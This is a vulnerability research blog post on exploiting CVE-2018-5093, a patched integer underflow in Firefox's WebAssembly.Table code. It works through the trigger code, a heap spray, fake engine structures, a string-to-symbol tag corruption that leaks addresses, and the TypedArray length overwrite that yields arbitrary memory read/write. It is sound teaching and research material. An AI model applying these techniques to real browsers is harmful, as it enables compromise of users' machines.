Firefox Vulnerability Research

By Arthur Gerkis and David Barksdale

This series of posts makes public some old Firefox research which our Zero-Day customers had access to before it was known publicly, and then our N-Day customers after it was patched. We’ve also used this research to teach browser exploitation in our Vuln-Dev Master Class.

In this post we start with an integer underflow in part of Firefox’s WebAssembly code and use it to read and write memory in the sandboxed content process. In later posts we will then use this to execute arbitrary code in the content process, and finally escape the sandbox to the broker process and execute calc.exe.

WebAssembly.Table Integer Underflow (CVE-2018-5093)

This vulnerability was reported to Mozilla by Alex Gaynor as Bug #1415291 and fixed in Firefox 58 and 59.

The vulnerability is triggered using a WebAssembly.Table object which represents an array-like structure that stores function references and provides a bridge between WebAssembly and JavaScript. The following JavaScript code results in a memory read outside the bounds of the table.

// Creates a new WebAssembly Table object.
var wasmTable = new WebAssembly.Table({
  // Provides type of the element.
  element: 'anyfunc',
  // Provides initial size of the table (length of the elements).
  initial: 0
});

// Tries to get the function reference at the index 0x100.
wasmTable.get(0x100);

The JavaScript constructor triggers a call to WasmTableObject::construct() shown below.

/* static */ WasmTableObject*
WasmTableObject::create(JSContext* cx, const Limits& limits)
{
    RootedObject proto(cx, &cx->global()->getPrototype(JSProto_WasmTable).toObject());

    AutoSetNewObjectMetadata metadata(cx);
    RootedWasmTableObject obj(cx, NewObjectWithGivenProto<WasmTableObject>(cx, proto));
    if (!obj)
        return nullptr;

    MOZ_ASSERT(obj->isNewborn());

    TableDesc td(TableKind::AnyFunction, limits);
    td.external = true;

    SharedTable table = Table::create(cx, td, obj);
    if (!table)
        return nullptr;

    obj->initReservedSlot(TABLE_SLOT, PrivateValue(table.forget().take()));

    MOZ_ASSERT(!obj->isNewborn());
    return obj;
}

/* static */ bool
WasmTableObject::construct(JSContext* cx, unsigned argc, Value* vp)
{
    CallArgs args = CallArgsFromVp(argc, vp);

    if (!ThrowIfNotConstructing(cx, args, "Table"))
        return false;

    if (!args.requireAtLeast(cx, "WebAssembly.Table", 1))
        return false;

    if (!args.get(0).isObject()) {
        JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr, JSMSG_WASM_BAD_DESC_ARG, "table");
        return false;
    }

...

    RootedWasmTableObject table(cx, WasmTableObject::create(cx, limits));
    if (!table)
        return false;

    args.rval().setObject(*table);
    return true;
}

WasmTableObject::construct() performs different kinds of validations and then calls WasmTableObject::create() which is responsible for the actual table creation.

The TableDesc object holds properties of the new WebAssembly.Table to be created including the type of the array (external or internal) and limits of the table. The call to Table::create() creates a new WebAssembly table object with the initial elements length of 0.

/* static */ SharedTable
Table::create(JSContext* cx, const TableDesc& desc, HandleWasmTableObject maybeObject)
{
    // The raw element type of a Table depends on whether it is external: an
    // external table can contain functions from multiple instances and thus
    // must store an additional instance pointer in each element.
    UniqueByteArray array;
    if (desc.external)
        array.reset((uint8_t*)cx->pod_calloc<ExternalTableElem>(desc.limits.initial));
    else
        array.reset((uint8_t*)cx->pod_calloc<void*>(desc.limits.initial));
    if (!array)
        return nullptr;

    return SharedTable(cx->new_<Table>(cx, desc, maybeObject, Move(array)));
}

The desc.external variable is set to true as it is an external (user-provided) table creation request (non-external tables are used for JavaScript engine runtime internally and are not possible to control directly). The desc.limits.initial variable is 0 and the pod_calloc() function allocates the minimum possible buffer size of 8 bytes. The address of array (or array_ as defined in Table fields) is the base address when accessing the table array by index.

Integer Underflow

Once the WebAssembly get() function is called, the WasmTableObject::getImpl() method is eventually called.

/* static */ bool
WasmTableObject::getImpl(JSContext* cx, const CallArgs& args)
{
    RootedWasmTableObject tableObj(cx, &args.thisv().toObject().as<WasmTableObject>());
    const Table& table = tableObj->table();

    uint32_t index;
    if (!ToNonWrappingUint32(cx, args.get(0), table.length() - 1, "Table", "get index", &index))
        return false;

    ExternalTableElem& elem = table.externalArray()[index];
    if (!elem.code) {
        args.rval().setNull();
        return true;
    }

    Instance& instance = *elem.tls->instance;
    const CodeRange& codeRange = *instance.code().lookupRange(elem.code);
    MOZ_ASSERT(codeRange.isFunction());

    RootedWasmInstanceObject instanceObj(cx, instance.object());
    RootedFunction fun(cx);
    if (!instanceObj->getExportedFunction(cx, instanceObj, codeRange.funcIndex(), &fun))
        return false;

    args.rval().setObject(*fun);
    return true;
}

The third argument to ToNonWrappingUint32() is the maximum value allowed to be stored in index. When table.length() is 0 this value becomes -1, however the argument type is uint32_t, causing the value to become UINT32_MAX, defeating the range check entirely. The same bug exists in WasmTableObject::setImpl() defeating the range check on set().

This vulnerability can be used to read or write past the bounds of the array. However,
writing out of bounds is limited in how and what it can write. Reading out of bounds cannot be directly used to leak any useful data into JavaScript, but it can be used to create a fake hash table.

Fake Hash Table

To ensure that required data is located at a fixed address the heap is sprayed using JavaScript arrays. This data is then used to create a few fake structures. The heap spray causes the following data to be placed at address 0x4d0f0000.

4d0f0000 4d0f0000 4d0f0000 4d0f000c 4d0f0000
4d0f0010 4d0eff9c 4d0f0028 4d0f00b0 4d0f0028
4d0f0020 4d0f0020 00000002 00000000 00000000
4d0f0030 4d0effd4 00000002 4d0f0030 00000000
4d0f0040 00000000 00000000 00000010 00000000
4d0f0050 00000000 00000000 00000000 00000000
4d0f0060 143d6170 ffffff87 00000000 00000000
4d0f0070 00000000 00000000 00000000 00000000
4d0f0080 0000007b 00000030 4d0f0080 cccccccc
4d0f0090 00000000 00000000 14642190 ffffff8c
4d0f00a0 00000000 00000000 13d59320 ffffff8c
4d0f00b0 cccccccc 7e000000 146421ea 00000000
4d0f00c0 00000000 00000000 00000000 00000000
4d0f00d0 00000000 00000000 00000000 00000000
4d0f00e0 00000000 00000000 00000000 00000000
4d0f00f0 00000000 00000000 00000000 00000000
4d0f0100 4d0f0000 4d0f0000 4d0f0000 4d0f0000
4d0f0110 4d0f0000 4d0f0000 4d0f0000 4d0f0000

The first 0x100 bytes contain fake structure fields, the rest is just a filler which points back to the beginning of the data.

Once the heap spray is done, the vulnerability is triggered by creating a new WebAssembly table and calling the get() function on that table. The following code is then reached.

; File: xul.dll
; Version: 54.0.0.6368

.text:11D4EB33 private: static bool __cdecl js::WasmTableObject::getImpl(struct JSContext *, class JS::CallArgs const &) proc near
...
.text:11D4EB96                 jz      loc_11D4EC40
.text:11D4EB9C                 mov     eax, [ebp+var_4]
.text:11D4EB9F                 mov     ecx, [ebp+var_8]
.text:11D4EBA2                 mov     eax, [eax+30h] ; eax will point to the array_ field
.text:11D4EBA5                 mov     edx, [eax+ecx*8] ; eax+ecx*8 points inside of the heap spray, edx becomes 0x4d0f0000
.text:11D4EBA8                 test    edx, edx        ; if (!elem.code) ... (edx = 0x4d0f0000)
.text:11D4EBAA                 jnz     short loc_11D4EBBF
...
.text:11D4EBBF
.text:11D4EBBF loc_11D4EBBF:
.text:11D4EBBF                 mov     eax, [eax+ecx*8+4] ; reads from the spray and sets eax to 4d0f0000
.text:11D4EBC3                 push    edx
.text:11D4EBC4                 mov     esi, [eax+4]    ; esi will point to the fake js::wasm::Instance object (4d0f0000)
.text:11D4EBC7                 mov     ecx, [esi+8]    ; ecx will point to the fake js::wasm::Code object (4d0f000c)
.text:11D4EBCA                 call    js::wasm::Code::lookupRange(void *)

The array_ field is located at offset 0x30 in the Table object, shown below.

0:000> dt xul!js::wasm::Table
   +0x000 mRefCnt          : Uint4B
   +0x004 maybeObject_     : js::ReadBarriered<js::WasmTableObject *>
   +0x008 observers_       : JS::WeakCache<JS::GCHashSet<js::ReadBarriered<js::WasmInstanceObject *>,js::MovableCellHasher<js::ReadBarriered<js::WasmInstanceObject *> >,js::SystemAllocPolicy> >
   +0x030 array_           : mozilla::UniquePtr<unsigned char [0],JS::FreePolicy>
   +0x034 kind_            : js::wasm::TableKind
   +0x038 length_          : Uint4B
   +0x03c maximum_         : mozilla::Maybe<unsigned int>
   +0x044 external_        : Bool

The address of the array_ field is added to the index which is multiplied by 0x8 (the UniqueByteArray structure takes 0x8 bytes and each function reference represents this structure).

Next is the call to the Code::lookupRange() method.

const CodeRange*
Code::lookupRange(void* pc) const
{
    CodeRange::PC target((uint8_t*)pc - segment_->base());
    size_t lowerBound = 0;
    size_t upperBound = metadata_->codeRanges.length();
    size_t match;
    if (!BinarySearch(metadata_->codeRanges, lowerBound, upperBound, target, &match))
        return nullptr;

    return &metadata_->codeRanges[match];
}

The Code object is located at address 0x4d0f000c in our heap spray and is constructed such that BinarySearch() will return true and match will be set to 1. The match is the index of the CodeRange structure in the metadata_->codeRanges vector. The size of the CodeRange object is 0x20 bytes and as such lookupRange() returns the CodeRange object which is located at address 0x4d0f0040 in our heap spray.

Next in WasmTableObject::getImpl() an object_ field pointing to the WasmInstanceObject object is requested, as shown below.

WasmInstanceObject*
Instance::object() const
{
    return object_;
}

A problem appears due to the way the garbage collector works and because some structures have been faked: they do not represent real JavaScript objects and have not gone through the real allocation mechanisms.

The Generation Garbage Collector (GGC), introduced in Mozilla Firefox version 32.0, has two heap types: nursery and tenured. The nursery heap is used for a short-lived objects, and the tenured heap for long-lived objects.

When getting the WasmInstanceObject object, the JavaScript engine runtime requests details about the object state, namely whether it is in the nursery or in the tenured heap. Eventually the JSObject::readBarrier() method is called, as shown below.

/* static */ MOZ_ALWAYS_INLINE void
JSObject::readBarrier(JSObject* obj)
{
    if (obj && obj->isTenured())
        obj->asTenured().readBarrier(&obj->asTenured());
}

The method Cell::isTenured() checks whether the object is inside of tenured heap, as shown below.

MOZ_ALWAYS_INLINE bool isTenured() const { return !IsInsideNursery(this); }

The IsInsideNursery() function is shown below.

MOZ_ALWAYS_INLINE bool
IsInsideNursery(const js::gc::Cell* cell)
{
    if (!cell)
        return false;
    uintptr_t addr = uintptr_t(cell);
    addr &= ~js::gc::ChunkMask;
    addr |= js::gc::ChunkLocationOffset;
    auto location = *reinterpret_cast<ChunkLocation*>(addr);
    MOZ_ASSERT(location == ChunkLocation::Nursery || location == ChunkLocation::TenuredHeap);
    return location == ChunkLocation::Nursery;
}

Cell is the base class of all classes being allocated by GC. Chunks are the largest unit used by the allocator and are 1MB. The ChunkLocation enum denotes the type of the heap, as shown below.

enum class ChunkLocation : uint32_t
{
    Invalid = 0,
    Nursery = 1,
    TenuredHeap = 2
};

The IsInsideNursery() function converts object addresses to the address of the associated chunk and checks whether the chunk belongs to the nursery or tenured heap. If it is in the tenured heap, then additional operations on the object are performed. This code path should be avoided as it would unnecessarily complicate the exploit. The ChunkLocation is within the our heap spray so we fake it by setting it to Nursery.

After that, the Instance::object() method successfully returns a new WasmInstanceObject object which is located at address 0x4d0f0000.

The next relevant call is to the WasmInstanceObject::getExportedFunction() method as it allows memory corruption at an arbitrary address. The method receives valid objects passed in as arguments and also receives the controllable funcIndex variable which we set to 0.

/* static */ bool
WasmInstanceObject::getExportedFunction(JSContext* cx, HandleWasmInstanceObject instanceObj,
                                        uint32_t funcIndex, MutableHandleFunction fun)
{
    if (ExportMap::Ptr p = instanceObj->exports().lookup(funcIndex)) {
        fun.set(p->value());
        return true;
    }

    const Instance& instance = instanceObj->instance();
    unsigned numArgs = instance.metadata().lookupFuncExport(funcIndex).sig().args().length();

    // asm.js needs to act like a normal JS function which means having the name
    // from the original source and being callable as a constructor.
    if (instance.isAsmJS()) {
        RootedAtom name(cx, instance.code().getFuncAtom(cx, funcIndex));
        if (!name)
            return false;

        fun.set(NewNativeConstructor(cx, WasmCall, numArgs, name, gc::AllocKind::FUNCTION_EXTENDED,
                                     SingletonObject, JSFunction::ASMJS_CTOR));
        if (!fun)
            return false;
    } else {
        RootedAtom name(cx, NumberToAtom(cx, funcIndex));
        if (!name)
            return false;

        fun.set(NewNativeFunction(cx, WasmCall, numArgs, name, gc::AllocKind::FUNCTION_EXTENDED));
        if (!fun)
            return false;
    }

    fun->setExtendedSlot(FunctionExtended::WASM_INSTANCE_SLOT, ObjectValue(*instanceObj));
    fun->setExtendedSlot(FunctionExtended::WASM_FUNC_INDEX_SLOT, Int32Value(funcIndex));

    if (!instanceObj->exports().putNew(funcIndex, fun)) {
        ReportOutOfMemory(cx);
        return false;
    }

    return true;
}

The instanceObj->exports() call returns a hash table. We fail the hash table lookup in order to reach the call to putNew(). Next, inside of the Metadata::lookupFuncExport() method, a second binary search is performed and it must return a result.

const FuncExport&
Metadata::lookupFuncExport(uint32_t funcIndex) const
{
    size_t match;
    if (!BinarySearch(ProjectFuncIndex(funcExports), 0, funcExports.length(), funcIndex, &match))
        MOZ_CRASH("missing function export");

    return funcExports[match];
}

The Metadata object is also fake and is located at address 0x4d0f0000. BinarySearch() calls BinarySearchIf() with arguments aContainer and aEnd under our control.

0:000> ln eip
win_build\\dist\\include\\mozilla\\binarysearch.h(80)+0xe
(035d1c00)   xul!mozilla::BinarySearchIf<ProjectFuncIndex,mozilla::detail::BinarySearchDefaultComparator<unsigned int> >+0x1e   |  (035d1c60)   xul!mozilla::BinarySearchIf<mozilla::Vector<js::wasm::Instance *,0,js::SystemAllocPolicy>,InstanceComparator>

0:000> dv
            aContainer = 0x012fe074
                aBegin = 0
                  aEnd = 2
              aCompare = 0x012fe078
aMatchOrInsertionPoint = 0x012fe070
                  high = 2
                   low = 0
                middle = <value unavailable>

0:000> dx -r1 (*((xul!ProjectFuncIndex *)0x12fe074))
(*((xul!ProjectFuncIndex *)0x12fe074))                 [Type: ProjectFuncIndex]
    [+0x000] funcExports      : 0x4d0f0030 [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> &]

0:000> dx -r1 (*((xul!mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> *)0x4d0f0030))
(*((xul!mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy> *)0x4d0f0030))                 [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy>]
    kElemIsPod       : false [Type: bool]
    kMaxInlineBytes  : 0x3f3 [Type: unsigned int]
    kInlineCapacity  : 0x0 [Type: unsigned int]
    [+0x000] mBegin           : 0x4d0effd4 [Type: js::wasm::FuncExport *]
    [+0x004] mLength          : 0x2 [Type: unsigned int]
    [+0x008] mTail            [Type: mozilla::Vector<js::wasm::FuncExport,0,js::SystemAllocPolicy>::CRAndStorage<0,0>]
    sMaxInlineStorage : 0x0 [Type: unsigned int]

Address 0x4d0f0040 contains 0 in order to return true from BinarySearchIf().

; File: xul.dll
; Version: 54.0.0.6368

.text:11D666D2 bool __cdecl mozilla::BinarySearchIf<struct ProjectFuncIndex, class mozilla::detail::BinarySearchDefaultComparator<unsigned int>>(struct ProjectFuncIndex const &, unsigned int, unsigned int, class mozilla::detail::BinarySearchDefaultComparator<unsigned int> const &, unsigned int *) proc near
.text:11D666D2
.text:11D666D2 arg_0           = dword ptr  8
.text:11D666D2 arg_4           = dword ptr  0Ch
.text:11D666D2 arg_8           = dword ptr  10h
.text:11D666D2
...
.text:11D666E5
.text:11D666E5 loc_11D666E5:
.text:11D666E5                 mov     ecx, [ebp+arg_4]
.text:11D666E8                 mov     edx, edi
.text:11D666EA                 sub     edx, esi
.text:11D666EC                 shr     edx, 1
.text:11D666EE                 add     edx, esi
.text:11D666F0                 imul    eax, edx, 3Ch   ; edx = 0x1
.text:11D666F3                 mov     eax, [eax+ebx+30h] ; mov eax,dword ptr [eax+ebx+30h] ds:002b:4d0f0040=00000000
.text:11D666F7                 mov     [ebp+arg_0], eax
.text:11D666FA                 lea     eax, [ebp+arg_0]
.text:11D666FD                 push    eax
.text:11D666FE                 call    mozilla::detail::BinarySearchDefaultComparator<uint>::operator()<uint>(uint const &)
.text:11D66703                 test    eax, eax        ; eax = 0x0, will return from the function
.text:11D66705                 jz      short loc_11D66720
...
.text:11D6671B loc_11D6671B:
.text:11D6671B                 pop     edi
.text:11D6671C                 pop     esi
.text:11D6671D                 pop     ebx
.text:11D6671E                 pop     ebp
.text:11D6671F                 retn
.text:11D66720 ; ---------------------------------------------------------------------------
.text:11D66720
.text:11D66720 loc_11D66720:
.text:11D66720                 mov     eax, [ebp+arg_8]
.text:11D66723                 mov     [eax], edx
.text:11D66725                 mov     al, 1
.text:11D66727                 jmp     short loc_11D6671B
.text:11D66727 bool __cdecl mozilla::BinarySearchIf<struct ProjectFuncIndex, class mozilla::detail::BinarySearchDefaultComparator<unsigned int>>(struct ProjectFuncIndex const &, unsigned int, unsigned int, class mozilla::detail::BinarySearchDefaultComparator<unsigned int> const &, unsigned int *) endp

This brings us to the call to putNew() which will try to put the key funcIndex and the value fun into the hash table.

    template <typename... Args>
    MOZ_MUST_USE bool putNew(const Lookup& l, Args&&... args)
    {
        if (!this->checkSimulatedOOM())
            return false;

        if (!EnsureHash<HashPolicy>(l))
            return false;

        if (checkOverloaded() == RehashFailed)
            return false;

        putNewInfallible(l, mozilla::Forward<Args>(args)...);
        return true;
    }

The HashTable::putNew() method wraps a call to HashTable::putNewInfallible(), shown below.

    template <typename... Args>
    void putNewInfallible(const Lookup& l, Args&&... args)
    {
        MOZ_ASSERT(!lookup(l).found());
        mozilla::ReentrancyGuard g(*this);
        putNewInfallibleInternal(l, mozilla::Forward<Args>(args)...);
    }

Which in turn wraps another call to HashTable::putNewInfallibleInternal(), shown below.

    template <typename... Args>
    void putNewInfallibleInternal(const Lookup& l, Args&&... args)
    {
        MOZ_ASSERT(table);

        HashNumber keyHash = prepareHash(l);
        Entry* entry = &findFreeEntry(keyHash);
...
    }

The HashTable::prepareHash() method calculates the hash for the given key and in our case will return 0xfffffffe. This will cause findFreeEntry() to corrupt the JSValueTag at 0x4d0f0064, changing it from JSVAL_TAG_STRING (0xffffff86) to JSVAL_TAG_SYMBOL (0xffffff87), as shown below.

; File: xul.dll
; Version: 54.0.0.6368

.text:10BE112F private: class js::detail::HashTableEntry<class js::HashMapEntry<unsigned int, class js::jit::MDefinition *>> & __thiscall js::detail::HashTable<class js::HashMapEntry<unsigned int, class js::jit::MDefinition *>, struct js::HashMap<unsigned int, class js::jit::MDefinition *, struct js::DefaultHasher<unsigned int>, class js::SystemAllocPolicy>::MapHashPolicy, class js::SystemAllocPolicy>::findFreeEntry(unsigned int) proc near
.text:10BE112F
.text:10BE112F var_4           = dword ptr -4
.text:10BE112F arg_0           = dword ptr  8
.text:10BE112F
.text:10BE112F                 push    ebp
.text:10BE1130                 mov     ebp, esp
.text:10BE1132                 push    ecx
.text:10BE1133                 push    ebx
.text:10BE1134                 push    esi
.text:10BE1135                 mov     ebx, ecx
.text:10BE1137                 push    edi
.text:10BE1138                 mov     edi, [ebp+arg_0]
.text:10BE113B                 mov     esi, edi
.text:10BE113D                 movzx   ecx, byte ptr [ebx+7] ; movzx ecx,byte ptr [ebx+7]       ds:002b:4d0f00b7=7e
.text:10BE1141                 shr     esi, cl         ; 0xfffffffe >>> 0x7e, esi becomes 0x3 (in inlined hash1() call)
.text:10BE1143                 mov     edx, esi
.text:10BE1145                 mov     [ebp+var_4], ecx
.text:10BE1148                 shl     edx, 4
.text:10BE114B                 add     edx, [ebx+8]    ; add edx,dword ptr [ebx+8] ds:002b:4d0f00b8=4d0f0034 (edx = 0x30)
.text:10BE114E                 cmp     dword ptr [edx], 1 ; cmp dword ptr [edx],1    ds:002b:4d0f0064=ffffff86 (inlined entry->isLive())
.text:10BE1151                 jbe     short loc_10BE1180
.text:10BE1153                 push    20h ; start of inlined hash2() call
.text:10BE1155                 pop     eax
.text:10BE1156                 sub     eax, ecx
.text:10BE1158                 mov     ecx, eax
.text:10BE115A                 shl     edi, cl
.text:10BE115C                 mov     ecx, [ebp+var_4]
.text:10BE115F                 shr     edi, cl
.text:10BE1161                 mov     ecx, eax
.text:10BE1163                 xor     eax, eax
.text:10BE1165                 or      edi, 1
.text:10BE1168                 inc     eax
.text:10BE1169                 shl     eax, cl
.text:10BE116B                 dec     eax ; end of inlined hash2() call
.text:10BE116C
.text:10BE116C loc_10BE116C:
.text:10BE116C                 or      dword ptr [edx], 1 ; or dword ptr [edx],1    ds:002b:4d0f0064=ffffff86 (inlined entry->setCollision() call)
.text:10BE116F                 sub     esi, edi
.text:10BE1171                 and     esi, eax
.text:10BE1173                 mov     edx, esi
.text:10BE1175                 shl     edx, 4
.text:10BE1178                 add     edx, [ebx+8]
.text:10BE117B                 cmp     dword ptr [edx], 1 ; (inlined entry->isLive())
.text:10BE117E                 ja      short loc_10BE116C ;
.text:10BE1180
.text:10BE1180 loc_10BE1180:
.text:10BE1180                 pop     edi
.text:10BE1181                 pop     esi
.text:10BE1182                 mov     eax, edx
.text:10BE1184                 pop     ebx
.text:10BE1185                 mov     esp, ebp
.text:10BE1187                 pop     ebp
.text:10BE1188                 retn    4

Fake Symbol

The heap spray contains a JSString at address 0x4d0f0060, as shown below.

0:000> dd 4d0f0060
4d0f0060  13cd01a0 ffffff86 00000000 00000000
4d0f0070  00000000 00000000 00000000 00000000
4d0f0080  0000007b 00000030 4d0f0080 cccccccc
4d0f0090  00000000 00000000 16712200 ffffff8c
4d0f00a0  00000000 00000000 09eb3360 ffffff8c

After corrupting the JSValueTag, the string becomes a fake JS::Symbol object. By calling toString() on the fake symbol, 0x30 bytes from address 0x4d0f0080 are leaked. This includes the address of a TypedArray object at 0x4d0f0098 and the address of an iframe at 0x4d0f00a8 to be used later.

Arbitrary Memory Read/Write

Once the address of the TypedArray object has been leaked, the corrupted part of the heap spray is restored to its original contents and the write address is updated to point to the unaligned address of the length field of the TypedArray object. The vulnerability is then triggered a second time. Below is the contents of the Typed Array object before.

0:000> dd 14642200
14642200  143f4cb8 1463fa18 00000000 04bf7198
14642210  00000000 ffffff83 00000010 ffffff81
14642220  00000000 ffffff81 14642230 00000000
14642230  00000000 00000000 00000000 00000000
14642240  00000000 00000000 00000000 00000000
14642250  00000000 00000000 00010000 00000000
14642260  00000000 00000000 00000000 00000000
14642270  143f4cb8 1463fa18 00000000 04bf7198

At address 0x14642218 the TypedArray length is located, the data buffer starts at 0x14642230, and the next TypedArray is located at address 0x14642270. Below is the contents after the write changes the length from 0x10 to 0x10010.

0:000> dd 14642200
14642200  143f4cb8 1463fa18 00000000 04bf7198
14642210  00000000 ffffff83 00010010 ffffff81
14642220  00000000 ffffff81 14642230 00000000
14642230  00000000 00000000 00000000 00000000
14642240  00000000 00000000 00000000 00000000
14642250  00000000 00000000 00010000 00000000
14642260  00000000 00000000 00000000 00000000
14642270  143f4cb8 1463fa18 00000000 04bf7198

The corrupted TypedArray is then used to overwrite length of the next adjacent TypedArray with 0xffffffff. This way arbitrary memory read/write is achieved.

Animation showing the vulnerability being exploited.

In the next post in this series we will use the ability to read and write arbitrary memory to achieve code execution.